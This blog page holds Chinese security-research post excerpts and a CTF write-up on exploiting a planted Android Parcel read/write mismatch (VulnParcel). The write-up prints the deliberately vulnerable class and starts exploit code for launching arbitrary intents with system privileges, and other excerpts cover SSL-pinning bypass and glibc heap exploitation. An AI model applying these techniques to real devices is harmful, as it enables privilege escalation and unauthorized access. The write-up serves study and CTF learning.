Blogs

某厂商PrintBox漏洞挖掘

本文内容仅用于个人存档和技术交流学习,禁止使用文中内容进行未授权或恶意的攻击行为。 (脱敏版) 1. 背景 先前因为一些项目,和实验室的同学一起分析了某款打印机的固件,发现了一些命令注入等类型的漏洞。调研后发现,市面上还有一类智能打印盒子(Print Box)产品。此类产品体积较小,通常与移动端APP配合使用,将其与打印机连接后,即可将普通打印机升级为云打印机:以云服务端作为消息中转站,盒子能够接收移动端发送的任务,再传输给本地打印机,从而实现远程云打印。 确定了漏洞挖掘目标后,我们购买了两台某厂商的智能打印盒子设备。 2. 硬件相关操作 搜索了官网等数据源,没有找到相关固件信息,于是只能尝试自己提取固件。 用钳子拆开打印盒子的外壳,发现里面只有一块PCB电路板,如下图: 根据组件的结构和标识,可以确定PCB板上主要有三个关键器件: R328-S2芯片:SoC,ARM Cortex-A7,应该是Linux系统的。芯片本身有Embedded Memory(512Mbit DDR2,即64MB),也可以通过 SPI 连接外部Flash存储芯片。(官方PDF说明) XR829芯片:网络模块,支持2.4GHz的WiFi和蓝牙。 Flash芯片:8个引脚。 初步推测设备的文件系统存储在Flash芯片中,里面可能也包含了我们要分析的服务程序。 2.1 编程器提取Flash固件 查阅相关资料可知,用编程器提取Flash芯片数据一般有两种操作方法:① 用热风枪把芯片从PCB板上吹下来,② 用烧录夹连接Flash芯片引脚和编程器。这里我们选择破坏性更小的后者方法,购买了编程器和烧录夹,店家附赠了教程和操作软件。 软硬件操作环境: EzpXPro的编程器,8引脚的烧录夹。 在笔记本电脑上,用WindowsXP_32bits的虚拟机作为编程器软件的运行环境。 注意:编程器连电脑不能用USB转接器,而要把编程器直接连到笔记本的USB口。 操作步骤: 首先,裸的编程器与电脑连线后,Windows系统会提示有新硬件,我们指定EZP_XPro驱动所在目录进行安装。 其次,用烧录夹连接EzpXPro编程器和PCB板上的Flash芯片,烧录夹的两端是不同的: 一端是pin脚:将这头插到编程器上,按照下图的位置插到上8脚。 另一端是夹子:用这头夹住PCB板上Flash芯片的8个管脚,夹得方向也是有讲究的,需要尝试几次。 最后,重新启动编程器配套软件,可以看到识别出了Flash芯片,如下图。选择“读出芯片”然后保存二进制固件即可。 实际操作时,接线大致如下图: 用BinWalk将提取到的固件解包,发现里面有个squashfs的文件系统,但分析后似乎并没有发现包含打印盒子主功能的二进制程序。 进一步分析/etc/init.d/下的开机脚本,发现其中一个脚本中有以下代码: # ... #/etc/phx chmod a+x /mnt/UDISK/start.sh source /mnt/UDISK/start.sh & 但实际上,提取到的固件中/mnt/UDISK/目录是空的。推测设备初始化时有目录挂载等操作,核心服务程序可能存储在SoC芯片或其他某处组件中,设备开机时相关数据会被挂载到/mnt/UDISK/,进而运行打印盒子的主功能。 因此,需要从其他途径获取运行了打印盒子核心功能的二进制程序。 2.2 连接电路板UART串口 观察后还发现,PCB板背面有三个金属点(如下图),联想到UART串口的三个引脚GND、TX、RX。 借助多用电表,测量设备开机时上面各个金属端口的电压,发现其确实满足UART串口的特征: 左边是GND(易于测出)。 中间是RX(电压开机时不跳变,相对于GND是3.3V)。 右边是TX(电压开机时会跳变,后面稳定了就不跳了)。 事实上,电压跳变是说明当前端口在传输信息。板子上的TX在开机时电压跳变说明开机过程有信息输出,开机过一会稳定后不再输出调试信息,其电压就和RX一样相对于GND是稳定的3.3V了。 用焊锡将跳线的一端和UART端口简单地连好后,另一端连USB头并插入电脑(如下图),用MobaXTerm软件的Serial选项新建会话,几次尝试后,波特率选38400即可正常回显shell。 在串口shell中操作,发现了Flash提取的固件中不存在的/mnt/UDISK/start.sh和/mnt/UDISK/XXXXXClient,后者即为我们的分析对象。至此,硬件操作基本结束。 3. 移动端分析 此款智能打印盒子在移动端的配套应用既有微信小程序(Documents\WeChat Files\Applet\下的xxx.wxapkg)又有安卓APP(apk包),可以通过程序逆向或流量分析的方法理清 打印盒子、移动应用、云服务端 三者之间的交互关系。 主要有以下发现: 通过逆向移动端应用发现,在初始配对阶段,设备主要通过蓝牙协议与移动端做数据交互,关键信息包括WiFi密码、设备绑定码等。 通过抓包分析流量发现,移动端应用在进行一些打印、管理操作时,是通过访问云服务端的GraphQL接口完成的,推测云端会进一步处理、转发这些请求给对应设备。 更多细节出于厂商安全考虑暂不透露。

Datacon比赛记录

1. 简介 2022年12月当时在打物联网安全赛道,用实验室先前论文SFuzz的代码改改,能较好地解决RTOS固件的相关题目,但第三题整数溢出漏洞检测在短时间内写出来的工具还是效果不佳。 2023年11月又带学弟们打了漏洞分析赛道,前两题基本是苦力活,第三题挖0day因为没提前买设备and固件模拟不熟练导致写不出exp,略遗憾。 后面如果再打Datacon的话就只想直接做第三题了(瘫 2. IDA脚本 人工审计二进制代码漏洞时,需要快速判断source点到sink点之间是否存在call trace。写了个简单的IDA脚本实现这一功能。 import idautils import idc import ida_idp import ida_funcs import ida_nalt import time log_file = None # # Basic Tools # def printh(num): # h = hex print(hex(num)) def printh_list(nums): for num in nums: printh(num) def printf(func_ea): # f = funtion name = idc.get_func_name(func_ea) if name: print("%s(%s)" % (name, hex(func_ea))) def get_addr_32(num)->str: s = hex(num)[2:] return '0x' + s.rjust(8, '0') def is_func_entry(ea): func = ida_funcs.

Android APP抓包方案调研

本文内容仅用于个人存档和技术交流学习,禁止使用文中内容进行未授权或恶意的攻击行为。 1. 背景 在移动安全研究中,如果要对一个APP进行逆向分析、进而了解其交互行为,流量分析是非常重要的一个手段。 而Android APP流量分析虽然是一个老生常谈的话题,但其中仍有许多坑点。同时,对于以下这些特殊情况,常见的抓包手段可能并不适用,比如: 没有安卓真机的苹果用户; 需要进行长期自动化流量分析的研究人员; 对国际APP(需要额外配置科学上网代理才能正常使用的APP)有分析需求的研究人员。 针对不同需求场景和硬件条件,本文介绍了两种安卓手机APP流量抓取方案,能够达到较为稳定的抓包效果。 2. 技术路线 2.1 Redroid云手机 + LAMDA框架 LAMDA框架是一个用于安卓逆向及自动化的辅助框架,集成了多种功能。LAMDA的服务端需要在待控制的目标安卓设备上安装,客户端则可以是任一个能运行python环境并安装了lamda模块(pip3 install -U lamda)的终端。 注意:LAMDA提供了一种客户端远程操作Android设备的方法,但LAMDA框架本身并不提供Android模拟器方案,需要用户自行准备真机或模拟器环境。 Redroid是一个安卓云手机解决方案,可以帮助研究人员在一台Linux服务器上轻松地启动多个云手机实例(比如每一个Redroid云手机实例对应一个Docker容器),其同时支持arm64和amd64架构。 在Redroid云手机模拟器中安装LAMDA服务端程序,用户即可通过Chrome浏览器访问该设备LAMDA服务的指定端口,实现基于浏览器Web页面的云手机控制,远程控制效果如下图所示。 LAMDA框架中集成了mitmproxy组件,mitmproxy是一种常用的Man-in-the-Middle(MITM)代理工具,广泛应用于网络流量的拦截、截取、查看和修改。 在本地PC上运行python lamda/tools/startmitm.py命令,即可启动mitmproxy中间人代理,LAMDA框架会自动化完成相关配置,进而把云手机的流量转发到本地PC上的代理程序,供进一步分析。mitmproxy程序还提供了Web页面,可以方便地查看所监听到的流量数据包,相关界面如下图所示。 对于需要科学上网的国际APP,此时会遇到一个问题:APP既需要设置用于科学上网的翻墙代理A,又需要设置用于抓包的中间人代理B,二者可能会相互冲突。 为了抓取国际APP的流量,可以在中间人设备中设置上游代理(upstream proxy)进一步转发流量,即在LAMDA的中间人代理程序启动时,我们通过指定upstream proxy为本地PC上的V2Ray软件(比如下图中的"10.10.192.147:10809"),来实现流量翻墙的效果。在实际操作中,也可根据需要采取其他方案,例如设置全局代理。 小结一下,Redroid云手机基于Docker容器运行,支持x86/ARM手机镜像,因此本方案能够部署在任意x86/ARM架构的服务器端,配置也相对简单,不需要进行额外的Root操作,对于没有安卓真机或有自动化操作需求的研究人员来说是一个不错的选择。事实上,一些安全公司的Android沙箱方案就是基于这套技术路线,以实现批量化部署和管理。 2.2 Android真机 + Burpsuite 在有Android真机的条件下,也可通过直接在真机中设置网络代理节点的方法来抓取流量。Burpsuite是用于Web 应用程序分析和攻击渗透的集成平台,包含了许多功能,这里我们主要使用其网络代理和抓包功能,以本地PC的Burpsuite客户端作为中间人代理来监听手机APP流量。具体步骤如下: 将手机连接到本地PC的热点,即把两者置于同一局域网下; 将手机的网络代理设置为本地PC的IP、端口设置Burpsuite中所设置的代理端口,例如8080; 通过手机访问http://burp,下载Burpsuite的CA证书并安装,该步骤的目的是基于CA证书对HTTPS流量进行解密; 最后打开Burpsuite的Proxy->Intercept功能,即可实现对手机流量的监听。相关流量的记录可以在HTTP history选项中查看。 为了抓取国际APP的流量,与云手机方案类似,我们可在本方案中设置Burpsuite的upstream proxy为本地PC上的V2Ray软件,以实现流量翻墙的效果。也可以基于自身情况,采用其他翻墙方案。 综上,本方案只需要准备一台Root后的Android手机和一台用于流量代理的PC机,其优势在于提供了真实的运行环境,能够保证目标App的运行稳定;并且该方案的网络流量抓包方法也比较成熟,相关参考资料较多。 2.3 SSL Pinning防护 在实际场景中,许多应用会采取一些防护手段来对抗第三方的流量分析。证书锁定(SSL/TLS Pinning)就是一种常见的安全防护手段。该方案将服务器提供的SSL/TLS证书内置到移动端开发的APP客户端中,当客户端发起请求时,通过比对内置证书和服务器端证书的内容,以确定这个连接的合法性。采用这种技术的App会影响对HTTPS流量的抓取。 但针对SSL Pinning也存在一些绕过手段,比如使用LSPosed框架的如下模块可以hook相关系统函数,绕过证书检查。 但上述方案适用于采用了Android系统统一的SSL Pinning方案的App。如果APP自己实现了定制化的SSL/TLS证书检查方法,上面的通用绕过方法就行不通了。需要对各个App分别进行针对性的处理,例如定制化地修改APK的配置并进行重打包,其中还可能涉及APK签名校验不通过的问题,难度和工作量都较大。 3. Line APP抓包示例 以Line为例,演示采用“Android真机+Burpsuite”方案抓取OCR流量的过程。 首先按照上面的方案打开Burpsuite,配置好代理抓包环境,监听手机流量。然后打开Line应用的聊天界面,选择一个会话,发送一张图片: 接着点击含有唐诗内容的图片,再点击右上角的文字识别按钮(OCR功能),可以看到图片中的文字内容被成功识别: 查看Burpsuite中抓取到的数据包情况,选择最近的一个POST报文,可以看到其发送了一串编码过的数据,response报文中含有解析出来的静夜思诗句。 由此可见,该报文就是Line APP在执行OCR功能时的请求数据包,成功抓取到该流量。 参考 [1] https://github.com/rev1si0n/lamda [2] https://github.com/remote-android/redroid-doc [3] https://github.com/LSPosed/LSPosed

GEEKCON2023 AVSS挑战赛 VulnParcel题解

本文内容仅用于个人存档和技术交流学习,禁止使用文中内容进行未授权或恶意的攻击行为。 1. 前言 八月份参加了AVSS挑战赛,第一次打这种Android漏洞利用的比赛,比赛的两天只写出来了APP层的expReceiver和ZipZip,和前几名的队伍相比主要是VulnParcel没写出来(其他的内核题不太会qwq),故在赛后复盘一下这道Parcel漏洞利用的题目。 赛题与exp下载链接:https://github.com/learjet5/GEEKCON2023-AVSS 在分析具体题目之前,需要先介绍一下前置知识。 1.1 Parcelable对象 在Android开发过程中,常常需要在进程间进行类对象的传递,系统一般会将这些对象放到Intent或者Bundle里面进行数据传递,这一过程中就会涉及序列化和反序列化的操作。其中,序列化是将对象转换为可以传输的二进制流(二进制序列)的过程,这样我们就可以将结构化数据转化为可以在网络传输或者保存到本地的流(序列),从而进行数据传输;反序列化则是从二进制流(序列)恢复出类对象的过程。 Parcelable是Android为开发者提供的序列化的接口,其相对于Serializable接口的使用相对复杂一些,但Parcelable的效率也要比Serializable高得多。一个类要想支持序列化的数据传输,就需要实现Parcelable接口。Parcelable接口的实现类必须要有一个非空的静态变量 CREATOR 用于从Parcel中恢复原始对象,其重载了createFromParcel函数;同时也需要重载接口中的两个函数:writeToParcel用于将原始对象序列化并写入Parcel,describeContents只针对一些特殊的需要描述信息的对象返回1、其他情况返回0。 一个对象在实现Parcelable接口时,需要通过Parcel类实现write和read的方法来完成序列化/反序列化。Parcel可以理解为实现各个对象序列化/反序列化的数据工具,其存储的是序列数据,其可以通过parcel.marshall()将自己转化为字节序列,用于在调试过程中查看parcel的序列化数据内容。简单来说,Parcel提供了一套机制,可以将序列化之后的数据写入到一个共享内存中,其他进程通过Parcel可以从这块共享内存中读出字节流,并反序列化成对象进而使用。该过程如下图所示。 Parcel可以包含原始数据类型(通过各种对应的方法写入,比如writeInt(),writeFloat()等),也可以包含Parcelable对象(通过writeParcelable()等实现),其相关读写操作的实现可以在AOSP源码frameworks/base/core/java/android/os/Parcel.java中进一步查看。 1.2 Bundle数据结构 在 Andorid 中,Bundle类是一个类似HashMap的数据结构,其以键值对的形式存储数据。 可序列化的Parcelable对象一般不单独进行序列化传输,而是需要通过Bundle对象携带。例如, Android中进程间通信频繁使用的Intent对象中通常会携带一个Bundle对象,利用Intent.putExtra(key, value)方法,可以往Intent对应的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括Int、Boolean、String和Parcelable对象等等,Parcel类中维护着这些类型的信息及其序列化读写方法。 Bundle本身也是实现了Parcelable接口的,从序列化数据的角度来理解Bundle对象的内容: 开头是固定的:4字节Bundle长度 + 4字节魔数0x4C444E42 。 然后通过writeMap()存储实际的Bundle数据。先是采用parcel.writeInt()写入4字节的键值对数量,然后依次是每个key-value形式的键值对:key采用parcel.writeString()写入,即”4字节length+4字节对齐的string“的形式;value则采用parcel.writeValue()写入,writeValue时依次写入4字节Value类型和Value本身,Value类型的int值见frameworks/native/libs/binder/ParcelValTypes.h,Value本身的字节序列格式由Parcel.writeXXX(p, flags)决定。 参考Bundle风水,我们还可以把序列化后的Bundle对象存为文件进行研究。 事实上,frameworks/base/core/java/android/os/Parcel.java中也实现了readBundle()和writeBundle()函数,来对Bundle对象进行parcel的序列化读写操作。 2. 题目概述 本题在Android Framework的代码中,以patch的方式添加了一个有漏洞的VulnParcelable类,代码如下所示。 public final class VulnParcelable implements Parcelable { private String TAG = "VulnParcelable"; private int opt; private int o1; private int o2; private byte[] mPayload; public VulnParcelable() { } // @UnsupportedAppUsage private VulnParcelable(Parcel in) { readFromParcel(in); } // 反序列化 // opt=0: 只读一个o1 // opt=1: 先读o2,然后读一个size,o2>0才会再读一个buf[size] public void readFromParcel(@NonNull Parcel in) { Log.

Netgear R6400路由器漏洞挖掘

本文内容仅用于个人存档和技术交流学习,禁止使用文中内容进行未授权或恶意的攻击行为。 1. 背景 研一暑假在家相对没那么忙,而刚过去的这学期又是漏洞挖掘课的助教,于是决定尝试挖一下家里面的Netgear路由器,锻炼一下动手能力。 基本信息如下: 设备型号:R6400 — AC1750 Smart WiFi Router 802.11ac Dual Band Gigabit / R6400 设备固件版本:1.0.1.78 固件下载链接 2. 攻击面分析 用BinWalk将固件解包后,发现存在/usr/sbin/httpd,此为web服务对应的二进制,以此为主要分析对象。 首先,根据实验室先前论文工作SaTC[1]的经验,在后端httpd二进制中找到了用于获取前端输入数据的函数。如下图高亮(该函数原本没有符号,我将其重命名为了web_get_var),web_get_var的第二个参数为前后端共享关键字、第三个参数为目的buffer、第四个参数为buffer长度,这样根据该函数的交叉引用就可以初步确定httpd处理用户数据的起始点。 其次,IoT设备中通常还会存在一些数据共享范式,常见的有NVRAM读写(如下图)、环境变量读写、配置文件读写等[2],其一般会以一个关键字作为键值实现数据的存储和恢复。根据关键字字符串的交叉引用,我们可以将两段控制流衔接起来,提高分析的完整性。 (我们还发现有些NVRAM配置是通过shell命令进行设置的,还有些NVRAM配置则是直接在libnvram.so中硬编码初始值的。) 基于上述观察,可以跟踪外部输入数据在httpd中的数据流,检查其是否存在操作不当之处,同时关注常见sink函数调用点(如strcpy、system等),从而发现潜在的漏洞。此外,还在逆向分析的过程中发现了该httpd中两个重要的实现机制。 2.1 CGI机制 嵌入式设备在实现web服务时可能会以CGI的方式实现:web server只负责对用户请求做简单地处理,然后将请求转发给 CGI 程序,CGI 程序处理请求后会将结果发给web server,最后web server再在包装数据后将其返回给用户。 CGI(Common Gateway Interface,通用网关接口)是一种标准,它定义了Web服务器与外部程序之间进行交互的接口规范。通过 CGI,Web服务器可以调用外部程序处理客户端请求,并将处理结果返回给客户端。CGI 最初是用于创建动态内容的一种技术。 Netgear R6400的CGI程序并不都以单独二进制程序的形式存在,而是在实现httpd时直接在其中嵌入了一些CGI处理函数。通过搜索".cgi"关键字并定位相关字符串引用点,我们发现了一个记录了CGI名称和对应处理函数的数组(如下图),比如"upgrade.cgi"的对应处理函数就是sub_2CD24。 以此类CGI处理函数为分析起点,可以更好地确保发现漏洞的可触发性。 2.2 ASP cmd机制 在分析前端文件时,发现htm文件里会有一些形如<%num%>的代码,查阅资料后发现此类标签其实是ASP command。 ASP(Active Server Pages)是一种由微软开发的服务器端脚本技术,用于创建动态的、交互性强的网页。ASP 页面包含嵌入在 HTML 中的服务器端脚本,这些脚本由服务器执行,并生成在浏览器中呈现的最终页面。<% %> 是用于包裹服务器端脚本的标记。 在httpd二进制中,发现了以下两个结构(符号名称均是我自己命名的): ASP_cmd_list数组:记录一条条完整的ASP command。 ASP_handlers_list数组:记录每种ASP操作与handler函数的映射关系。 对于前端htm文件里的<%num%>,后端httpd在解析时会以num作为index,从ASP_cmd_list中找到对应的完整ASP command字符串,再根据ASP_handlers_list的映射关系,交给对应操作的handler函数处理并传递参数。对于ASP_handlers_list数组中的处理函数,其实现的功能多是通过get类函数获取数据,然后再插入到前端htm文件里。 由此可知,对于ASP_handlers_list里的handler函数中的sink点,其触发条件为:前端文件中有<%num%>,且num对应的ASP command需要以正确的ASP操作和满足约束的参数去触发sink点。 了解这些有助于我们更好地确定路由器的攻击面,避免在难以触发的代码片段上花费时间。 3. 漏洞描述 经过数天的逆向分析,辅助一些简单的IDA、Ghidra脚本,初步发现了一个Post-Auth的缓冲区溢出漏洞,可导致拒绝服务攻击。 漏洞点位于 sub_83A90,该函数是 usb_device.

SJTUCTF2023 babyheap复盘

整理、记录下校赛遇到的一道堆利用题目。这道题我比赛时拿了一血,最后也只有2解。 附件:babyheap,libc-2.36.so。 1. 题目 运行checksec ./babyheap,四项保护全开。采用的是较新的glibc。开始写之前手动从glibc源码编译出了debug版本的 libc-2.36.so,方便调试。 题目形式是堆题中经典的菜单题,比较明显的特征是:没有edit功能,只有add、delete、show。 快速看了下反编译代码,发现了两处疑似的问题点: Double Free: Leak: 根据“无法edit”这个特征,在网上搜了下思路,发现大概是需要用到house of apple的利用手法。 2. 利用思路 最开始的思路是:先利用UAF+unsorted bin泄露libc地址;再利用double free实现任意堆块分配(需要bypass safe-unlink);最后覆盖free_hook从而劫持控制流。但发现2.34之后就没有hook机制了🤦‍,需要用 IO_FILE exploitation,于是去学了下glibc新版本的一些安全特性。 新版本的glibc特点: glibc-2.34之后,__free_hook等其他hook机制被移除了,没办法通过此处劫持控制流。 引入了Tcache double free的检查,用House of Botcake绕过:https://forum.butian.net/share/1709 glibc-2.32之后引入safe-unlink机制,Fastbin 和 Tcache bin 的指针都做了加密处理:https://www.ctfiot.com/65732.html(右移12bit后异或的操作)。 glibc-2.32之后还引入tcache和fastbin中申请和释放内存地址的对齐检测。 有的IO函数存在PTR_DEMANGLE(指针保护)选项,需要绕过。 关于 IO_FILE 利用:位于 libc 数据段的vtable是不可以进行写入的,因此通常需要构造假的vtable函数指针数组。 相关利用手法学习: house of kiwi(本质是修改_IO_file_jumps+0x60处的_IO_file_sync指针,达到劫持控制流的目的) house of emma(核心是借助_IO_cookie_jumps中“存在任意函数指针调用的成员函数”来劫持控制流) 修改pointer_guard(在fs:[0x30])的值是为了绕过_IO_vtable_check函数的检测(也可修改IO_accept_foreign_vtables)。 pointer_guard指向的地址与伪造的IO_file地址应该是一样的,例题中都是chunk0_addr。 例题中,触发house of kiwi后原本是要调用_IO_file_sync,但由于设置了vtable地址值的偏移,实际上会调用_IO_file_write(_IO_cookie_write)。 例题中,执行函数_IO_cookie_write劫持控制流后,ROP路径为:magic_gadget -> setcontext+61 -> ORW gadgets。 SROP(不过本题babyheap没有沙盒保护,可以直接劫持控制流到system函数,不必设计ROP ^^) house of apple1(核心是在堆上构造IO_FILE链后,利用IO_FILE_plus._wide_data指针的性质,在exit时可以实现额外的一次任意写) A处有伪造的IO_FILE: A + 0xd8(vtable指针)指向_IO_wstrn_jumps(为了能够调用到_IO_wstrn_overflow函数) A + 0xa0(_wide_data指针)设置为B(攻击者希望修改B处的数据)

GEEKCON2023 AVSS挑战赛 VulnParcel题解

Created September 4, 2023

本文内容仅用于个人存档和技术交流学习,禁止使用文中内容进行未授权或恶意的攻击行为。

1. 前言

八月份参加了AVSS挑战赛,第一次打这种Android漏洞利用的比赛,比赛的两天只写出来了APP层的expReceiver和ZipZip,和前几名的队伍相比主要是VulnParcel没写出来(其他的内核题不太会qwq),故在赛后复盘一下这道Parcel漏洞利用的题目。

赛题与exp下载链接:https://github.com/learjet5/GEEKCON2023-AVSS

在分析具体题目之前,需要先介绍一下前置知识。

1.1 Parcelable对象

在Android开发过程中,常常需要在进程间进行类对象的传递,系统一般会将这些对象放到Intent或者Bundle里面进行数据传递,这一过程中就会涉及序列化和反序列化的操作。其中,序列化是将对象转换为可以传输的二进制流(二进制序列)的过程,这样我们就可以将结构化数据转化为可以在网络传输或者保存到本地的流(序列),从而进行数据传输;反序列化则是从二进制流(序列)恢复出类对象的过程。

Parcelable是Android为开发者提供的序列化的接口,其相对于Serializable接口的使用相对复杂一些,但Parcelable的效率也要比Serializable高得多。一个类要想支持序列化的数据传输,就需要实现Parcelable接口。Parcelable接口的实现类必须要有一个非空的静态变量 CREATOR 用于从Parcel中恢复原始对象,其重载了createFromParcel函数;同时也需要重载接口中的两个函数:writeToParcel用于将原始对象序列化并写入Parcel,describeContents只针对一些特殊的需要描述信息的对象返回1、其他情况返回0。

一个对象在实现Parcelable接口时,需要通过Parcel类实现write和read的方法来完成序列化/反序列化。Parcel可以理解为实现各个对象序列化/反序列化的数据工具,其存储的是序列数据,其可以通过parcel.marshall()将自己转化为字节序列,用于在调试过程中查看parcel的序列化数据内容。简单来说,Parcel提供了一套机制,可以将序列化之后的数据写入到一个共享内存中,其他进程通过Parcel可以从这块共享内存中读出字节流,并反序列化成对象进而使用。该过程如下图所示。

Parcel可以包含原始数据类型(通过各种对应的方法写入,比如writeInt()writeFloat()等),也可以包含Parcelable对象(通过writeParcelable()等实现),其相关读写操作的实现可以在AOSP源码frameworks/base/core/java/android/os/Parcel.java中进一步查看。

img

1.2 Bundle数据结构

在 Andorid 中,Bundle类是一个类似HashMap的数据结构,其以键值对的形式存储数据。

可序列化的Parcelable对象一般不单独进行序列化传输,而是需要通过Bundle对象携带。例如, Android中进程间通信频繁使用的Intent对象中通常会携带一个Bundle对象,利用Intent.putExtra(key, value)方法,可以往Intent对应的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括Int、Boolean、String和Parcelable对象等等,Parcel类中维护着这些类型的信息及其序列化读写方法。

Bundle本身也是实现了Parcelable接口的,从序列化数据的角度来理解Bundle对象的内容:

  • 开头是固定的:4字节Bundle长度 + 4字节魔数0x4C444E42 。
  • 然后通过writeMap()存储实际的Bundle数据。先是采用parcel.writeInt()写入4字节的键值对数量,然后依次是每个key-value形式的键值对:key采用parcel.writeString()写入,即”4字节length+4字节对齐的string“的形式;value则采用parcel.writeValue()写入,writeValue时依次写入4字节Value类型和Value本身,Value类型的int值见frameworks/native/libs/binder/ParcelValTypes.h,Value本身的字节序列格式由Parcel.writeXXX(p, flags)决定。

参考Bundle风水,我们还可以把序列化后的Bundle对象存为文件进行研究。

事实上,frameworks/base/core/java/android/os/Parcel.java中也实现了readBundle()writeBundle()函数,来对Bundle对象进行parcel的序列化读写操作。

2. 题目概述

本题在Android Framework的代码中,以patch的方式添加了一个有漏洞的VulnParcelable类,代码如下所示。

public final class VulnParcelable implements Parcelable {
    private String TAG = "VulnParcelable";

    private int opt;
    private int o1;
    private int o2;
    private byte[] mPayload;

    public VulnParcelable() { }

    // @UnsupportedAppUsage
    private VulnParcelable(Parcel in) {
        readFromParcel(in);
    }

    // 反序列化
    // opt=0: 只读一个o1 
    // opt=1: 先读o2,然后读一个size,o2>0才会再读一个buf[size]
    public void readFromParcel(@NonNull Parcel in) {
        Log.d("VulnParcelable", "read from parcel");
        opt = in.readInt();
        if (opt == 0) {
            o1 = in.readInt();
            Log.d("VulnParcelable", "read o1: "+o1);
        } else if (opt == 1) {
            o2 = in.readInt();
            Log.d("VulnParcelable", "read o2: "+o2);
            int size = in.readInt();
            Log.d("VulnParcelable", "read size: "+size);
            if (o2 > 0) {
                mPayload = new byte[size];
                in.readByteArray(mPayload);
                Log.d("VulnParcelable", "readByteArray");
            }
        }
    }

    @Override
    public int describeContents() {
        return 0;
    }

    @Override
    // 序列化
    // 漏洞点:opt=1, o2<=0时不会把length写入,但readFromParcel时又会在校验o2正负值之前先读长度值,造成读写的mismatch。
    public void writeToParcel(@NonNull Parcel dest, int flags) {
        Log.d("VulnParcelable", "writeToParcel");
        dest.writeInt(opt);
        if (opt == 0) {
            dest.writeInt(o1);
            Log.d("VulnParcelable", "write o1: "+o1);
        } else if (opt == 1) {
            dest.writeInt(o2);
            Log.d("VulnParcelable", "write o2: "+o2);
            if (o2 > 0) {
                dest.writeInt(mPayload.length);
                dest.writeByteArray(mPayload);
                Log.d("VulnParcelable", "write writeByteArray: "+mPayload.length);
            }
        }
    }

    public static final @android.annotation.NonNull Parcelable.Creator<VulnParcelable> CREATOR = new Parcelable.Creator<VulnParcelable>() {
        @Override
        public VulnParcelable createFromParcel(Parcel in) {
            return new VulnParcelable(in);
        }
        @Override
        public VulnParcelable[] newArray(int size) {
            return new VulnParcelable[size];
        }
    };

}

由于Parcelable的序列化和反序列化(或者说对Parcel的读写)方法均为自定义的,且读写过程中需要对类的各个成员进行数据操作,其中就可能出现一些差错,进而对整个Parcel的数据产生影响。

本题中的漏洞就是由VulnParcelable类中的Parcel读写操作不一致导致的,在VulnParcelable的成员数据满足某个条件时,读parcel和写parcel之间会存在一个Int的偏差。

因此,我们只需要构造的VulnParcelable对象满足opt=1 && o2<=0,就会能够触发Parcel Mismatch漏洞。结合patch来看,flag位于Setting APP的FilesDir中,而Setting APP中提供了⼀个root-path的FileProvider,可以通过该FileProvider读取flag。

3. 环境搭建

在讨论漏洞利用思路之前,我们需要先搭建一个方便调试的环境。

比赛主办方提供了ARM64架构的安卓emulator程序和patch之后的安卓系统镜像,同时还提供了Docker构建脚本,可以用于搭建赛题调试环境。但这要求我们拥有一台AArch64架构的服务器主机,比赛期间主办方提供了一个远程的AArch64服务器,但当时这个远程终端用起来并不是很丝滑,且每次编译exp app上传到远程服务器进行调试也很麻烦。

因此这里推荐另一种环境搭建方案(不是最佳但在没有ARM机器的情况下确实可行),只要能够在性能和硬盘大小尚可的x86服务器上编译AOSP项目,即可在Windows主机上用Android Studio进行exp的开发、调试。

操作步骤:

  1. 下载Android12的AOSP源码。

    # 可参考网上其他博客
    mkdir -p ~/aosp && cd ~/aosp
    repo init -u https://mirrors.tuna.tsinghua.edu.cn/git/AOSP/platform/manifest -b android-12.0.0_r20
    repo sync
    # 下载耗时可能较长,下载文件多达200G左右
    
  2. 根据题目中的README.md,对AOSP源码进行patch。

    # patcher.sh是题目给的脚本
    /bin/bash patcher.sh patch AOSPPROJ PATCHFILE
    
  3. 编译出x86_64架构的Android系统镜像,并替换Android Studio中AVD某个虚拟机的文件。

    cd ~/aosp
    source build/envsetup.sh
    lunch sdk_phone_x86_64 # 指定编译选项
    make -j24
    

    运行上述命令,就能在aosp/out/target/product/emulator_x86_64下编译出x86_64架构的系统镜像和emulator程序等文件了。

    在Android Studio的AVD Manager中,创建一个Android12的虚拟机(比如命名为"Pixel 3a API 31 AVSS")。

    image-20231015211807425

    从前面服务器上编译得到的aosp/out/target/product/emulator_x86_64/下拷贝下图中的文件,覆盖新建虚拟机所在文件夹(C:\Users\xxxxx\.android\avd\Pixel_3a_API_31.avd\)中的同名文件即可。其中除了各img文件,kernel-ranchu也是必须拷贝的文件,否则新的虚拟机可能无法开机。

    image-20231015211432976
  4. 在Android Studio中选择我们自己魔改过的虚拟机进行调试。

    image-20231015213054304

至此,我们就在Windows主机上搭建了一个友好且方便测试的题目环境了。

4. 漏洞利用

根据前面对题目的分析,在数据满足特定条件的情况下,对VulnParcelable对象进行一次序列化读写,就会造成4字节Int数据的错位。

要对这一漏洞进行利用,还需要借助Android系统本身的一些行为。设想这么一种情况:A收到了一串攻击者构造的数据,做了安全检查,此时数据都是正常,检查通过后传给B;B想着A检查通过了就不再检查了,但从A到B之间又经过了一次读写,此时B读到的内容可能已经被换成非法内容了,这样系统在进行后续操作时(比如启动一个Intent)就可能会产生一些意想不到的恶意行为。

查阅相关资料后发现,Android系统中账号服务相关的功能可以满足上面我们设想的漏洞触发场景:

image-20240102172056532

其具体特性不再详细介绍,可以参考身份验证功能的介绍 和 Android官方仓库中的相关漏洞的利用代码(launchAnyWhere)进行修改。我们把重点放在exp的构造上。

在此之前,需要补充一下Parcel中String对象的二进制存储形式:对于每一个字符,采用2字节存储;同时最后的字节序列长度需要满足是4的倍数,不足则补零。比如,长度为7的字符串,在Parcel对象中的二进制长度为16字节(7*2+2)。

构造恶意Parcel对象的代码如下所示,其中generate(Intent intent)函数的参数是我们希望通过Settings App以系统权限启动的恶意intent:

public class expVulnParcel implements IGenerateMalformedParcel{
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_BYTEARRAY = 13;

    @Override
    public Parcel generate(Intent intent) {

        //Bundle bundle = new Bundle();
        Parcel obtain = Parcel.obtain();
        Parcel obtain2 = Parcel.obtain();
        Parcel obtain3 = Parcel.obtain();
        // 准备工作,参考launchAnyWhere写的
        obtain.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse"); // 相当于3次writeInt
        obtain.writeInt(1);
        // obtain的最外层是一个Bundle,Bundle中包含攻击payload
        int bundleLenPos = obtain.dataPosition();
